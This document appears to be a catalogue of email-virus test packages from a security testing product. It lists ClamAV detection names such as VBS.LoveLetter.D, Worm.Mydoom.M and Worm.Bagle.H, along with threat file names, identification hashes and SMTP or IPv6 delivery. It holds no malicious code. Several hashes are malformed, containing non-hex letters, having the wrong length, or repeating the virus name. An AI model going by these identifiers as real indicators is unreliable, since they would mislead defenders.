Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 626cfb5bab849e6e714cf03398a8e5e5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gong.4e56c693_IPv6.xml
Executive Description:	Email Virus Worm.Gong (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gong as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e56c6937f041279bc4d8308d6fe6bc5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Veryfun.9b42816a.xml
Executive Description:	Email Virus Worm.Veryfun
Detailed Description:	This is the email virus Worm.Veryfun as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9b42816albaa0e682876e8e2179d6158. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menace.men.8de2cf46.xml
Executive Description:	Email Virus Email-Worm.Win32.Menace.men
Detailed Description:	This is the email virus Email-Worm.Win32.Menace.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menace.men. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.27def401_IPv6.xml
Executive Description:	Email Virus Worm.Energy (IPv6 Version)
Detailed Description:	This is the email virus Worm.Energy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27def401b53e00de725c0572da3c8bdc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Apobst.h.h.9be8a527.xml
Executive Description:	Email Virus Email-Worm.Win32.Apobst.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Apobst.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Apobst.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.45c947ac_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 45c947ac18a925fb45c27139b30d761e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Fix2001.d2a5f4b7.xml

Executive Description:	Email Virus Trojan.IWorm.Fix2001
Detailed Description:	This is the email virus Trojan.IWorm.Fix2001 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2a5f4b769de0f89d591fd0505b6e584. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.35af9e51.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35af9e5184a02b0e39f8ee55d5ea0346. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.60e9a086_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60e9a0865d596d7da6a2e3f1362431b4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.PonyExpress.fel5c8b0.xml
Executive Description:	Email Virus Worm.PonyExpress
Detailed Description:	This is the email virus Worm.PonyExpress as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fel5c8b04adda5372e2fb52b7593fc87. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.a.6f6de9e7_IPv6.xml
Executive Description:	Email Virus Worm.Lohack.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lohack.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f6de9e706c222e65202af17512f45da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.52b01701_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b01701d0719062614906f5b030773f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hopalon.b.b.836e1cd6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hopalon.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Hopalon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hopalon.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Rowam.A.112c4f5c.xml
Executive Description:	Email Virus Worm.VBS.Rowam.A
Detailed Description:	This is the email virus Worm.VBS.Rowam.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 112c4f5cac1e14787763670b6e426f59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fintas.a.a503f729_IPv6.xml
Executive Description:	Email Virus Worm.Fintas.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fintas.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a503f72989f440db5d9d274f048a3d6c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcobul.b.7336765d.xml
Executive Description:	Email Virus Worm.Alcobul.b
Detailed Description:	This is the email virus Worm.Alcobul.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7336765dbbd99cd7832b33ee406e997c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumaru.e.e.7c5b9ad2.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumaru.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Dumaru.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumaru.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	VBS.SSIWG.36f80256.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36f802563dab6aea43a4497b902ac942. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BWG.A.e70e9df8_IPv6.xml
Executive Description:	Email Virus Worm.BWG.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.BWG.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e70e9df8117b9aab9b88e440c2e45d17. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.generic.90ea68c2.xml
Executive Description:	Email Virus Worm.generic
Detailed Description:	This is the email virus Worm.generic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ea68c2e28c3e977fe504602c7e53b6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.Q.b9ebe489_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.Q (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9ebe489f5460408c4911ff84c678a68. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Moffas.87beb3e0_IPv6.xml
Executive Description:	Email Virus Worm.Moffas (IPv6 Version)
Detailed Description:	This is the email virus Worm.Moffas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 87beb3e03218cbd62fae036dall29bbf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zheng.zhe.f86d6485_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Zheng.zhe (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Zheng.zhe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zheng.zhe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d17c5406_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d17c5406aelb8f24cf728b3f6ad3c4e3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.2348cd41.xml
Executive Description:	Email Virus VBS.Platnico
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2348cd418c0e6a9205cda6d8e8acc86e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.M.65eb44f6_IPv6.xml
Executive Description:	Worm.Mydoom.M (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65eb44f6c07a3336e529c7560041b013. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anel.ane.bfdb80c8.xml
Executive Description:	Email Virus Email-Worm.Win32.Anel.ane
Detailed Description:	This is the email virus Email-Worm.Win32.Anel.ane as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anel.ane. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.1.175dbf33.xml
Executive Description:	Email Virus Worm.Petik.1
Detailed Description:	This is the email virus Worm.Petik.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 175dbf33282ed471b62d616be435a03f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Bajar.B.36d2683e.xml
Executive Description:	Email Virus Worm.Bajar.B
Detailed Description:	This is the email virus Worm.Bajar.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d2683e3a2bed2cdd3a20bfff0efbe7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LastWord.68929e28_IPv6.xml
Executive Description:	Email Virus Worm.LastWord (IPv6 Version)
Detailed Description:	This is the email virus Worm.LastWord as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68929e285d1a7fbd0ea9554a06af1b4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Moffas.87beb3e0.xml
Executive Description:	Email Virus Worm.Moffas
Detailed Description:	This is the email virus Worm.Moffas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 87beb3e03218cbd62fae036dall29bbf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.ak.ak.be817e4a.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.ak.ak
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.ak.ak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.ak.ak. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BDC.Griffin.Cli.f262e5a1_IPv6.xml
Executive Description:	Email Virus BDC.Griffin.Cli (IPv6 Version)
Detailed Description:	This is the email virus BDC.Griffin.Cli as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f262e5alca270bc917534aac4fa97fe2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.d18f3431_IPv6.xml
Executive Description:	Email Virus Worm.Shuq.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f343132bc99782450a3afb070d195. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Wideman.8135.a.a.d4370120.xml
Executive Description:	Email Virus Email-Worm.Win32.Wideman.8135.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Wideman.8135.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Wideman.8135.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.k.k.50cff8c9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Rowam.C.7d811834.xml
Executive Description:	Email Virus Worm.VBS.Rowam.C
Detailed Description:	This is the email virus Worm.VBS.Rowam.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7d811834cb39bb6c9f5b5aab7e482c33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.6494cc24.xml
Executive Description:	Email Virus Worm.Maldal.c
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6494cc242ba8c240eded731dee655e4a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.N.f56cef0f.xml
Executive Description:	Email Virus Worm.Lovgate.N
Detailed Description:	This is the email virus Worm.Lovgate.N as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f56cef0f4ec6418df06ef9f454d9ea73. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	VBS.SWMF.A.42ac9c0a.xml
Executive Description:	Email Virus VBS.SWMF.A
Detailed Description:	This is the email virus VBS.SWMF.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42ac9c0abld209d6edf9ba1010cdf945. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wozer.E.fc5b2213_IPv6.xml
Executive Description:	Email Virus Worm.Wozer.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wozer.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc5b22139c102145cb48a1035766c980. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat File Name:	Email-Worm.VBS.Qoma.c.c.597a6bfd.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.c.c
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mylife.C.c755c0d4_IPv6.xml
Executive Description:	Email Virus Worm.Mylife.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mylife.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c755c0d4915686e098bc9c193831f334. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.41aa7997_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41aa799726d2ef98834c70e1049b94f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Povgon.b.b.7ca80937.xml
Executive Description:	Email Virus Email-Worm.Win32.Povgon.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Povgon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Povgon.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.24c49b83.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 24c49b83178f8aafef5f7ba6aff2ea970. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.36f80256_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36f802563dab6aea43a4497b902ac942. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Paroc.A.d4f43810.xml
Executive Description:	Email Virus Worm.Paroc.A
Detailed Description:	This is the email virus Worm.Paroc.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4f43810da698cc6104d843e56593abd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.c.c.b0db94c1.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.e7602fbf_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7602fbf6b9f4f230722c044bf2528b5. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.a.a.346c2d02_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.af1b0251_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af1b0251a1ddb0cfffbd6364bce9a8ae. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rays.A.01aefd7c_IPv6.xml
Executive Description:	Email Virus Worm.Rays.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rays.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01aefd7cd0168b1589c4e567d9cfeb36. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Entice.B.0874bd1e_IPv6.xml
Executive Description:	Email Virus VBS.Entice.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0874bd1e0a3ddb412aced13ad9d72838. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.0990bc18.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0990bc184ab7dalcfcf2dd7636180f2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Bior.A.flaceb88.xml
Executive Description:	Email Virus VBS.Bior.A
Detailed Description:	This is the email virus VBS.Bior.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: flaceb880f05d75cf9904e562b80567a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Saros.A.e7f16ccd.xml
Executive Description:	Email Virus Worm.Saros.A
Detailed Description:	This is the email virus Worm.Saros.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7f16ccd5113cb589dc385e79790823b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.M.d8d9ebce.xml
Executive Description:	Email Virus Worm.Mydoom.M
Detailed Description:	This is the email virus Worm.Mydoom.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8d9ebce2ff9f94ee0855c0d3e756049. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Moncher.B.f7ef5aef.xml
Executive Description:	Email Virus Worm.Moncher.B
Detailed Description:	This is the email virus Worm.Moncher.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ef5aef4dc14e616ba2deb2c92d7e98. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Yozis.B.4716d37a_IPv6.xml
Executive Description:	Email Virus VBS.Yozis.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Yozis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4716d37a148c503c20213828bccc5028. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.H.blaac76f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.H (IPv6 Version)

Detailed Description:	This is the email virus Worm.Bagle.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blaac76f0cf7ff43620f7b0a844cfbaf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.c.c.055fcccc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorena.b.e437aa72.xml
Executive Description:	Email Virus Worm.Lorena.b
Detailed Description:	This is the email virus Worm.Lorena.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e437aa72d627110b5ea7alc29e1deaf7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BAT.BWG.J.236d0906.xml
Executive Description:	Email Virus BAT.BWG.J
Detailed Description:	This is the email virus BAT.BWG.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 236d09062b36b2ee2ac6fe3edfcd42da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.I.c5fe22de_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.I (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5fe22de68bf20cf256390b52b595612. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Abotus.abo.fe02a495_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Abotus.abo (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Abotus.abo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Abotus.abo. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.6ea5131e.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ea5131e2e9f71d92b0362817bf93781. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.i.i.ca2d8546.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.i.i
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unicle.B.58948742.xml
Executive Description:	Email Virus Worm.Unicle.B
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58948742a7038aa3025704f3563cd21b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BleBla.A.3c75b73b_IPv6.xml
Executive Description:	Email Virus Worm.BleBla.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.BleBla.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3c75b73b123648b1768d0436d8efd13b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Batwin.5cfaa0bf.xml
Executive Description:	Email Virus Worm.Batwin
Detailed Description:	This is the email virus Worm.Batwin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5cfaa0bfe9c643550eee6ael05ed813e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Siney.B.39c69154.xml

Executive Description:	Email Virus Worm.Siney.B
Detailed Description:	This is the email virus Worm.Siney.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c6915439c84849f3439bbf70cdade4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.626cfb5b.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 626cfb5bab849e6e714cf03398a8e5e5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	IRC.Anjuliej.A.72c1168a_IPv6.xml
Executive Description:	Email Virus IRC.Anjuliej.A (IPv6 Version)
Detailed Description:	This is the email virus IRC.Anjuliej.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72c1168a3c26f638e584d018faaf0696. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cuerto.53f9d81f_IPv6.xml
Executive Description:	Email Virus Worm.Cuerto (IPv6 Version)
Detailed Description:	This is the email virus Worm.Cuerto as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f9d81f3fc621bfc336a5549ebe7398. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SST-A.3.03842f6c.xml
Executive Description:	Email Virus VBS.SST-A.3
Detailed Description:	This is the email virus VBS.SST-A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 03842f6c7eba04b06bcf54a9bc54ec9c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Ganda-A.c1e17ccf.xml
Executive Description:	Email Virus Worm.Ganda-A
Detailed Description:	This is the email virus Worm.Ganda-A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1e17ccf687fa70efc96ef8ab3e97a95. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Satan.7076ae22_IPv6.xml
Executive Description:	Email Virus Worm.Satan (IPv6 Version)
Detailed Description:	This is the email virus Worm.Satan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7076ae2218010470f4b69ac5b4bc0dec. This attack is delivered via SMTP to a email server. (IPv6 Version)
